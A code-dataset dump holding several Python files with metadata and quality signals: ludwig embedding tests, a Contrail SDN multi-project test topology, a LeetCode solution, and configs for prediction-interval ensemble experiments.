hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
a4fe102833b7e4aa58489d37c1bb75055a8af0a1
3,093
py
Python
tests/ludwig/modules/test_embedding_modules.py
dantreiman/ludwig
daeffd21f9eef524afb2037763abd07a93228c2a
[ "Apache-2.0" ]
7,739
2019-02-11T14:06:31.000Z
2020-12-16T18:30:29.000Z
tests/ludwig/modules/test_embedding_modules.py
dantreiman/ludwig
daeffd21f9eef524afb2037763abd07a93228c2a
[ "Apache-2.0" ]
769
2019-02-11T16:13:20.000Z
2020-12-16T17:26:11.000Z
tests/ludwig/modules/test_embedding_modules.py
dantreiman/ludwig
daeffd21f9eef524afb2037763abd07a93228c2a
[ "Apache-2.0" ]
975
2019-02-11T15:55:54.000Z
2020-12-14T21:45:39.000Z
from typing import List import pytest import torch from ludwig.modules.embedding_modules import Embed, EmbedSequence, EmbedSet, EmbedWeighted, TokenAndPositionEmbedding DEVICE = "cuda" if torch.cuda.is_available() else "cpu" @pytest.mark.parametrize("vocab", [["a", "b", "c"]]) @pytest.mark.parametrize("embedding_size", [2]) @pytest.mark.parametrize("representation", ["dense", "sparse"]) def test_embed( vocab: List[str], embedding_size: int, representation: str, ): embed = Embed( vocab=vocab, embedding_size=embedding_size, representation=representation, ).to(DEVICE) inputs = torch.randint(0, 2, size=(2, 1)).bool().to(DEVICE) outputs = embed(inputs) assert outputs.shape[1:] == embed.output_shape @pytest.mark.parametrize("vocab", [["a", "b", "c", "d"]]) @pytest.mark.parametrize("embedding_size", [3]) @pytest.mark.parametrize("representation", ["dense", "sparse"]) def test_embed_set( vocab: List[str], embedding_size: int, representation: str, ): embed = EmbedSet( vocab=vocab, embedding_size=embedding_size, representation=representation, ).to(DEVICE) inputs = torch.randint(0, 2, size=(2, len(vocab))).bool().to(DEVICE) outputs = embed(inputs) assert outputs.shape[1:] == embed.output_shape @pytest.mark.parametrize("vocab", [["a", "b", "c", "d", "e", "f", "g", "h"]]) @pytest.mark.parametrize("embedding_size", [5, 10]) @pytest.mark.parametrize("representation", ["dense", "sparse"]) def test_embed_weighted( vocab: List[str], embedding_size: int, representation: str, ): embed_weighted = EmbedWeighted(vocab=vocab, embedding_size=embedding_size, representation=representation).to(DEVICE) inputs = torch.randint(0, 2, size=(2, len(vocab))).bool().to(DEVICE) outputs = embed_weighted(inputs) assert outputs.shape[1:] == embed_weighted.output_shape @pytest.mark.parametrize("vocab", [["a", "b", "c"]]) @pytest.mark.parametrize("embedding_size", [2]) @pytest.mark.parametrize("representation", ["dense", "sparse"]) def test_embed_sequence( vocab: List[str], embedding_size: int, representation: str, ): embed = EmbedSequence( vocab=vocab, embedding_size=embedding_size, max_sequence_length=10, representation=representation, ).to(DEVICE) inputs = torch.randint(0, 2, size=(2, 10)).to(DEVICE) outputs = embed(inputs) assert outputs.shape[1:] == embed.output_shape @pytest.mark.parametrize("vocab", [["a", "b", "c"]]) @pytest.mark.parametrize("embedding_size", [10]) @pytest.mark.parametrize("representation", ["dense", "sparse"]) def test_token_and_position_embedding( vocab: List[str], embedding_size: int, representation: str, ): embed = TokenAndPositionEmbedding( vocab=vocab, embedding_size=embedding_size, max_sequence_length=10, representation=representation, ).to(DEVICE) inputs = torch.randint(0, 2, size=(2, 10)).to(DEVICE) outputs = embed(inputs) assert outputs.shape[1:] == embed.output_shape
31.886598
120
0.674749
367
3,093
5.564033
0.171662
0.127326
0.154261
0.063663
0.841332
0.808031
0.79334
0.79334
0.79334
0.58619
0
0.014275
0.161979
3,093
96
121
32.21875
0.773534
0
0
0.722892
0
0
0.080181
0
0
0
0
0
0.060241
1
0.060241
false
0
0.048193
0
0.108434
0
0
0
0
null
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
35297132a1d896ea62cf9a0ec1e921e93f7497f3
42
py
Python
src/colorunittest/__init__.py
HilarieSit/colorunittest
dc64293f12f2b9248d8fa969f4a4701ff776ddac
[ "MIT" ]
null
null
null
src/colorunittest/__init__.py
HilarieSit/colorunittest
dc64293f12f2b9248d8fa969f4a4701ff776ddac
[ "MIT" ]
null
null
null
src/colorunittest/__init__.py
HilarieSit/colorunittest
dc64293f12f2b9248d8fa969f4a4701ff776ddac
[ "MIT" ]
null
null
null
from colorunittest.color_unittest import *
42
42
0.880952
5
42
7.2
1
0
0
0
0
0
0
0
0
0
0
0
0.071429
42
1
42
42
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
3538b1167e6d8d1b71b5866226d55a2c32feb395
9,911
py
Python
scripts/upgrade/sdn_topo_with_multi_project.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
scripts/upgrade/sdn_topo_with_multi_project.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
scripts/upgrade/sdn_topo_with_multi_project.py
rombie/contrail-test
a68c71d6f282142501a7e2e889bbb232fdd82dc3
[ "Apache-2.0" ]
null
null
null
'''*******AUTO-GENERATED TOPOLOGY*********''' class sdn_topo_with_multi_project (): def __init__(self, domain='default-domain'): print "building dynamic topo" self.project_list = ['project1', 'project2', 'project3'] self.vm_node_map = {} # end __init__ def build_topo_project1(self, domain='default-domain', project='project1', username='juniper', password='juniper123'): # # Topo for project: project1 # Define Domain and project self.domain = domain self.project = project self.username = username self.password = password # # Define VN's in the project: self.vnet_list = ['vnet1'] # # Define network info for each VN: self.vn_nets = {'vnet1': ['10.1.1.0/30', '11.1.1.0/30']} # # Define netowrk IPAM for each VN, if not defined default-user-created # ipam will be created and used self.vn_ipams = {'vnet1': 'project1-ipam'} # # Define network policies self.policy_list = ['policy1', 'policy4'] self.vn_policy = {'vnet1': ['policy1', 'policy4']} # # Define VM's # VM distribution on available compute nodes is handled by nova # scheduler or contrail vm naming scheme self.vn_of_vm = {'vmc1': 'vnet1'} # # self.vm_node_map = {} # # Define network policy rules self.rules = {} self.rules[ 'policy1'] = [{'direction': '<>', 'protocol': 'icmp', 'dest_network': 'default-domain:project2:vnet2', 'source_network': 'default-domain:project1:vnet1', 'dst_ports': 'any', 'simple_action': 'pass', 'src_ports': 'any'}] self.rules[ 'policy4'] = [{'direction': '<>', 'protocol': 'tcp', 'dest_network': 'default-domain:project3:vnet3', 'source_network': 'default-domain:project1:vnet1', 'dst_ports': 'any', 'simple_action': 'pass', 'src_ports': 'any'}] # # Define security_group name self.sg_list = ['test_sg_project1'] # # Define security group to be associated with VM self.sg_of_vm = {'vmc1': 'test_sg_project1'} # # Define the security group rules import uuid uuid_1 = uuid.uuid1().urn.split(':')[2] uuid_2 = uuid.uuid1().urn.split(':')[2] self.sg_rules = {} self.sg_rules['test_sg_project1'] = [ {'direction': '>', 'protocol': 'any', 'dst_addresses': [{'security_group': 'local', 'subnet': None}], 'dst_ports': [{'start_port': 0, 'end_port': 65535}], 'src_ports': [{'start_port': 0, 'end_port': 65535}], 'src_addresses': [{'subnet': {'ip_prefix': '0.0.0.0', 'ip_prefix_len': 0}}], 'rule_uuid': uuid_1 }, {'direction': '>', 'protocol': 'any', 'src_addresses': [{'security_group': 'local', 'subnet': None}], 'dst_ports': [{'start_port': 0, 'end_port': 65535}], 'src_ports': [{'start_port': 0, 'end_port': 65535}], 'dst_addresses': [{'subnet': {'ip_prefix': '0.0.0.0', 'ip_prefix_len': 0}}], 'rule_uuid': uuid_2}, ] return self def build_topo_project2(self, domain='default-domain', project='project2', username=None, password=None): # # Topo for project: project2 # Define Domain and project self.domain = domain self.project = project self.username = username self.password = password # # Define VN's in the project: self.vnet_list = ['vnet2'] # # Define network info for each VN: self.vn_nets = {'vnet2': ['12.1.1.0/30', '13.1.1.0/30']} # # Define netowrk IPAM for each VN, if not defined default-user-created # ipam will be created and used self.vn_ipams = {} # # Define network policies self.policy_list = ['policy2', 'policy5'] self.vn_policy = {'vnet2': ['policy2', 'policy5']} # # Define VM's # VM distribution on available compute nodes is handled by nova # scheduler or contrail vm naming scheme self.vn_of_vm = {'vmc2': 'vnet2'} # # self.vm_node_map = {} # # Define network policy rules self.rules = {} self.rules[ 'policy2'] = [{'direction': '<>', 'protocol': 'icmp', 'dest_network': 'default-domain:project1:vnet1', 'source_network': 'default-domain:project2:vnet2', 'dst_ports': 'any', 'simple_action': 'pass', 'src_ports': 'any'}] self.rules[ 'policy5'] = [{'direction': '<>', 'protocol': 'icmp', 'dest_network': 'default-domain:project3:vnet3', 'source_network': 'default-domain:project2:vnet2', 'dst_ports': 'any', 'simple_action': 'pass', 'src_ports': 'any'}] # # Define security_group name self.sg_list = ['test_sg_project2'] # # Define security group to be associated with VM self.sg_of_vm = {'vmc2': 'test_sg_project2'} # # Define the security group rules import uuid uuid_1 = uuid.uuid1().urn.split(':')[2] uuid_2 = uuid.uuid1().urn.split(':')[2] self.sg_rules = {} self.sg_rules['test_sg_project2'] = [ {'direction': '>', 'protocol': 'any', 'dst_addresses': [{'security_group': 'local', 'subnet': None}], 'dst_ports': [{'start_port': 0, 'end_port': 65535}], 'src_ports': [{'start_port': 0, 'end_port': 65535}], 'src_addresses': [{'subnet': {'ip_prefix': '0.0.0.0', 'ip_prefix_len': 0}}], 'rule_uuid': uuid_1 }, {'direction': '>', 'protocol': 'any', 'src_addresses': [{'security_group': 'local', 'subnet': None}], 'dst_ports': [{'start_port': 0, 'end_port': 65535}], 'src_ports': [{'start_port': 0, 'end_port': 65535}], 'dst_addresses': [{'subnet': {'ip_prefix': '0.0.0.0', 'ip_prefix_len': 0}}], 'rule_uuid': uuid_2}, ] return self def build_topo_project3(self, domain='default-domain', project='project3', username=None, password=None): # # Topo for project: project3 # Define Domain and project self.domain = domain self.project = project self.username = username self.password = password # # Define VN's in the project: self.vnet_list = ['vnet3'] # # Define network info for each VN: self.vn_nets = {'vnet3': ['99.9.9.0/24']} # # Define netowrk IPAM for each VN, if not defined default-user-created # ipam will be created and used self.vn_ipams = {'vnet3': 'project3-ipam'} # # Define network policies self.policy_list = ['policy3'] self.vn_policy = {'vnet3': ['policy3']} # # Define VM's # VM distribution on available compute nodes is handled by nova # scheduler or contrail vm naming scheme self.vn_of_vm = {'vmc3': 'vnet3'} # # self.vm_node_map = {} # # Define network policy rules self.rules = {} self.rules[ 'policy3'] = [{'direction': '<>', 'protocol': 'tcp', 'dest_network': 'default-domain:project1:vnet1', 'source_network': 'default-domain:project3:vnet3', 'dst_ports': 'any', 'simple_action': 'pass', 'src_ports': 'any'}] # # Define security_group name self.sg_list = ['test_sg_project3'] # # Define security group to be associated with VM self.sg_of_vm = {'vmc3': 'test_sg_project3'} # # Define the security group rules import uuid uuid_1 = uuid.uuid1().urn.split(':')[2] uuid_2 = uuid.uuid1().urn.split(':')[2] self.sg_rules = {} self.sg_rules['test_sg_project3'] = [ {'direction': '>', 'protocol': 'any', 'dst_addresses': [{'security_group': 'local', 'subnet': None}], 'dst_ports': [{'start_port': 0, 'end_port': 65535}], 'src_ports': [{'start_port': 0, 'end_port': 65535}], 'src_addresses': [{'subnet': {'ip_prefix': '0.0.0.0', 'ip_prefix_len': 0}}], 'rule_uuid': uuid_1 }, {'direction': '>', 'protocol': 'any', 'src_addresses': [{'security_group': 'local', 'subnet': None}], 'dst_ports': [{'start_port': 0, 'end_port': 65535}], 'src_ports': [{'start_port': 0, 'end_port': 65535}], 'dst_addresses': [{'subnet': {'ip_prefix': '0.0.0.0', 'ip_prefix_len': 0}}], 'rule_uuid': uuid_2}, ] return self # end sdn_topo_with_multi_project if __name__ == '__main__': print "Currently topology limited to one domain/project.." print "Based on need, can be extended to cover config for multiple domain/projects" print "Running unit test for this module ..." my_topo = sdn_basic_policy_topo_with_multi_project( domain='default-domain') x = my_topo.__dict__ print "\nprinting keys of topology dict:" for key, value in x.iteritems(): print key print # Use topology_helper to extend/derive data from user-defined topology to help verifications. # ex. get list of all vm's from topology; get list of vn's associated to a # policy import topo_helper topo_h = topo_helper.topology_helper(my_topo) policy_vn = topo_h.get_policy_vn() print "printing derived topo data - vn's associated to a policy: \n", policy_vn #
43.091304
143
0.545959
1,132
9,911
4.573322
0.15106
0.006954
0.032451
0.034769
0.775739
0.744447
0.729187
0.674908
0.674908
0.654047
0
0.034966
0.301685
9,911
229
144
43.279476
0.713047
0.168298
0
0.59854
1
0
0.321336
0.035745
0
0
0
0
0
0
null
null
0.080292
0.029197
null
null
0.058394
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
6
10320f402e0ae6667e47e299700be6613cb14b7c
197
py
Python
codes_/0561_Array_Partition_I.py
SaitoTsutomu/leetcode
4656d66ab721a5c7bc59890db9a2331c6823b2bf
[ "MIT" ]
null
null
null
codes_/0561_Array_Partition_I.py
SaitoTsutomu/leetcode
4656d66ab721a5c7bc59890db9a2331c6823b2bf
[ "MIT" ]
null
null
null
codes_/0561_Array_Partition_I.py
SaitoTsutomu/leetcode
4656d66ab721a5c7bc59890db9a2331c6823b2bf
[ "MIT" ]
null
null
null
# %% [561. Array Partition I](https://leetcode.com/problems/array-partition-i/) class Solution: def arrayPairSum(self, nums: List[int]) -> int: return sum(i for i in sorted(nums)[::2])
39.4
79
0.659898
29
197
4.482759
0.758621
0.215385
0.230769
0
0
0
0
0
0
0
0
0.024242
0.162437
197
4
80
49.25
0.763636
0.390863
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0.333333
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
6
105988e7148d4da4ae21dfcc1ad79f534a0b4685
207
py
Python
office365/onedrive/permissions/sharing_invitation.py
rikeshtailor/Office365-REST-Python-Client
ca7bfa1b22212137bb4e984c0457632163e89a43
[ "MIT" ]
544
2016-08-04T17:10:16.000Z
2022-03-31T07:17:20.000Z
office365/onedrive/permissions/sharing_invitation.py
rikeshtailor/Office365-REST-Python-Client
ca7bfa1b22212137bb4e984c0457632163e89a43
[ "MIT" ]
438
2016-10-11T12:24:22.000Z
2022-03-31T19:30:35.000Z
office365/onedrive/permissions/sharing_invitation.py
rikeshtailor/Office365-REST-Python-Client
ca7bfa1b22212137bb4e984c0457632163e89a43
[ "MIT" ]
202
2016-08-22T19:29:40.000Z
2022-03-30T20:26:15.000Z
from office365.runtime.client_value import ClientValue class SharingInvitation(ClientValue): """The SharingInvitation resource groups invitation-related data items into a single structure.""" pass
29.571429
102
0.801932
23
207
7.173913
0.913043
0
0
0
0
0
0
0
0
0
0
0.01676
0.135266
207
6
103
34.5
0.905028
0.444444
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
6
109d266373dbd182e815ed94086d50c411542426
173
py
Python
missionaries_and_cannibals/__init__.py
shyammarjit/missionaries-and-cannibals
2a9563b292b9e3db009dbc495d464597b7f4b00d
[ "MIT" ]
17
2019-01-30T16:24:00.000Z
2022-02-28T09:50:05.000Z
missionaries_and_cannibals/__init__.py
shyammarjit/missionaries-and-cannibals
2a9563b292b9e3db009dbc495d464597b7f4b00d
[ "MIT" ]
null
null
null
missionaries_and_cannibals/__init__.py
shyammarjit/missionaries-and-cannibals
2a9563b292b9e3db009dbc495d464597b7f4b00d
[ "MIT" ]
8
2018-04-28T17:17:24.000Z
2022-03-16T16:40:07.000Z
from .missionaries_and_cannibals import MissionariesAndCannibals from .state import State from .state_constants import GOAL_STATE from .state_constants import INITIAL_STATE
34.6
64
0.884393
22
173
6.681818
0.454545
0.183673
0.190476
0.312925
0.394558
0
0
0
0
0
0
0
0.092486
173
4
65
43.25
0.936306
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
52a1640e675012a648048141f2c89a335cf33289
43
py
Python
pydantic_cloud/__init__.py
gabicavalcante/pydantic-cloud-settings
98356c8b41c6dffa455db3be20a8114d38ab35a0
[ "MIT" ]
2
2021-04-05T20:59:34.000Z
2021-09-24T13:10:14.000Z
pydantic_cloud/__init__.py
gabicavalcante/pydantic-cloud-settings
98356c8b41c6dffa455db3be20a8114d38ab35a0
[ "MIT" ]
1
2021-04-01T10:48:25.000Z
2021-04-01T10:48:25.000Z
pydantic_cloud/__init__.py
gabicavalcante/pydantic-cloud-settings
98356c8b41c6dffa455db3be20a8114d38ab35a0
[ "MIT" ]
1
2021-03-17T12:26:51.000Z
2021-03-17T12:26:51.000Z
from .gcp import GoogleCloudSecretSettings
21.5
42
0.883721
4
43
9.5
1
0
0
0
0
0
0
0
0
0
0
0
0.093023
43
1
43
43
0.974359
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
52a8cd3efac98c50ef0a7068022951e7ccd390f8
49
py
Python
src/mm/__init__.py
hkimaf/unixmd
616634c720d0589fd600e3268afab9da957e18bb
[ "MIT" ]
9
2021-04-18T08:03:50.000Z
2022-03-22T03:29:54.000Z
src/mm/__init__.py
hkimaf/unixmd
616634c720d0589fd600e3268afab9da957e18bb
[ "MIT" ]
23
2021-04-14T08:43:02.000Z
2022-03-31T10:26:42.000Z
src/mm/__init__.py
hkimaf/unixmd
616634c720d0589fd600e3268afab9da957e18bb
[ "MIT" ]
16
2021-04-14T05:59:45.000Z
2022-02-02T03:05:23.000Z
from mm import tinker from .tinker import Tinker
16.333333
26
0.816327
8
49
5
0.5
0.6
0
0
0
0
0
0
0
0
0
0
0.163265
49
2
27
24.5
0.97561
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
52b21ffbf8e4b7175ad17628934c4bbb4c83402e
43
py
Python
episodes/models/__init__.py
seanpierce/introtorhythm.com
fbf52f7f67a5f02527d8eb2b4f01942685b952b1
[ "MIT" ]
3
2019-07-10T00:50:20.000Z
2021-05-04T02:34:31.000Z
episodes/models/__init__.py
seanpierce/introtorhythm.com
fbf52f7f67a5f02527d8eb2b4f01942685b952b1
[ "MIT" ]
8
2019-01-29T23:44:28.000Z
2021-06-10T17:49:27.000Z
episodes/models/__init__.py
seanpierce/introtorhythm.com
fbf52f7f67a5f02527d8eb2b4f01942685b952b1
[ "MIT" ]
null
null
null
from episodes.models.episode import Episode
43
43
0.883721
6
43
6.333333
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.069767
43
1
43
43
0.95
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
eac63c54f1ecd040bfe70630b95499abdd508ccb
11,488
py
Python
exp_qd2.py
tarik/pi-snm-qde
61b0d60b5e7a56454d313693c2d1a9694879f1dc
[ "MIT" ]
8
2020-08-05T18:02:20.000Z
2022-03-16T17:41:13.000Z
exp_qd2.py
tarik/pi-snm-qde
61b0d60b5e7a56454d313693c2d1a9694879f1dc
[ "MIT" ]
1
2021-05-17T15:43:22.000Z
2021-07-12T20:29:12.000Z
exp_qd2.py
tarik/pi-snm-qde
61b0d60b5e7a56454d313693c2d1a9694879f1dc
[ "MIT" ]
1
2021-12-10T12:20:24.000Z
2021-12-10T12:20:24.000Z
#!/usr/bin/python3 # -*- coding: utf-8 -*- """ Experiments with the original quality-driven ensembles (SEM-QD). """ from neural_pi.estimator.base import Randomness from neural_pi.experiment import Experiment from neural_pi.pipeline import DefaultPipeline from neural_pi.data import FileDataset, ShuffledDataset from neural_pi.estimator import PiEnsemble, Adam, ExponentialDecay, \ qd_code_loss, sem_aggreg, std_aggreg EXPERIMENT_ID = 'exp_qde2' ex = Experiment(name=EXPERIMENT_ID, runs_dir='runs/%s' % EXPERIMENT_ID, temp_dir='temp', # Where artifacts are temporarily stored. template='templates/template.html') @ex.config def default_config(): executor = DefaultPipeline(ex.artifacts_dir) seed = Randomness().random_seed() # ------------------------------------------------------------------------------ @ex.named_config def boston_dev(): config = dict( dataset=ShuffledDataset( data_path='data/boston_housing_data.csv', shuffle_path='data/boston_housing_data.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=5, method=PiEnsemble, hyper_params=dict( # HPS trial number 241 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.004, scheduler=ExponentialDecay, decay_rate=1., decay_steps=50., epochs=5, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=40., print_frequency=10, device='cpu' ) ) seed = 1 # ------------------------------------------------------------------------------ @ex.named_config def boston(): config = dict( dataset=ShuffledDataset( data_path='data/boston_housing_data.csv', shuffle_path='data/boston_housing_data.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 241 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.004, scheduler=ExponentialDecay, decay_rate=1., decay_steps=50., epochs=1042, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=40., print_frequency=10, device='cpu' ) ) @ex.named_config def concrete(): config = dict( dataset=ShuffledDataset( data_path='data/concrete_data.csv', shuffle_path='data/concrete_data.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 202 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.004, scheduler=ExponentialDecay, decay_steps=50., decay_rate=1., epochs=1184, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=23., print_frequency=10, device='cpu' ) ) @ex.named_config def energy(): config = dict( dataset=ShuffledDataset( data_path='data/energy.csv', shuffle_path='data/energy.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 94 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.003, scheduler=ExponentialDecay, decay_steps=50., decay_rate=1., epochs=1415, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=4., print_frequency=10, device='cpu' ) ) @ex.named_config def kin8(): config = dict( dataset=ShuffledDataset( data_path='data/kin8nm.csv', shuffle_path='data/kin8nm.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 53 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.002, scheduler=ExponentialDecay, decay_steps=50., decay_rate=1., epochs=1355, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=28., print_frequency=10, device='cpu' ) ) @ex.named_config def naval(): config = dict( dataset=ShuffledDataset( data_path='data/naval_compressor_decay.csv', shuffle_path='data/naval_compressor_decay.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 274 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.006, scheduler=ExponentialDecay, decay_steps=50., decay_rate=0.99, epochs=380, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=4., print_frequency=10, device='cpu' ) ) @ex.named_config def power(): config = dict( dataset=ShuffledDataset( data_path='data/power.csv', shuffle_path='data/power.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=20, method=PiEnsemble, hyper_params=dict( # HPS trial number 80 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[50, 50], optimizer=Adam, learning_rate=0.002, scheduler=ExponentialDecay, decay_steps=50., decay_rate=1., epochs=995, batch_size=100, loss_func=qd_code_loss, alpha=0.05, soften=160., lambda_=11., print_frequency=10, device='cpu' ) ) @ex.named_config def protein(): config = dict( dataset=ShuffledDataset( data_path='data/protein.csv', shuffle_path='data/protein.npy', standardize=True, shuffle=True ), split=dict( train_size=0.9, test_size=0.1 ), num_runs=5, method=PiEnsemble, hyper_params=dict( # HPS trial number 1 ensemble_size=5, aggreg_func=[sem_aggreg, std_aggreg], hidden_size=[100, 100], optimizer=Adam, 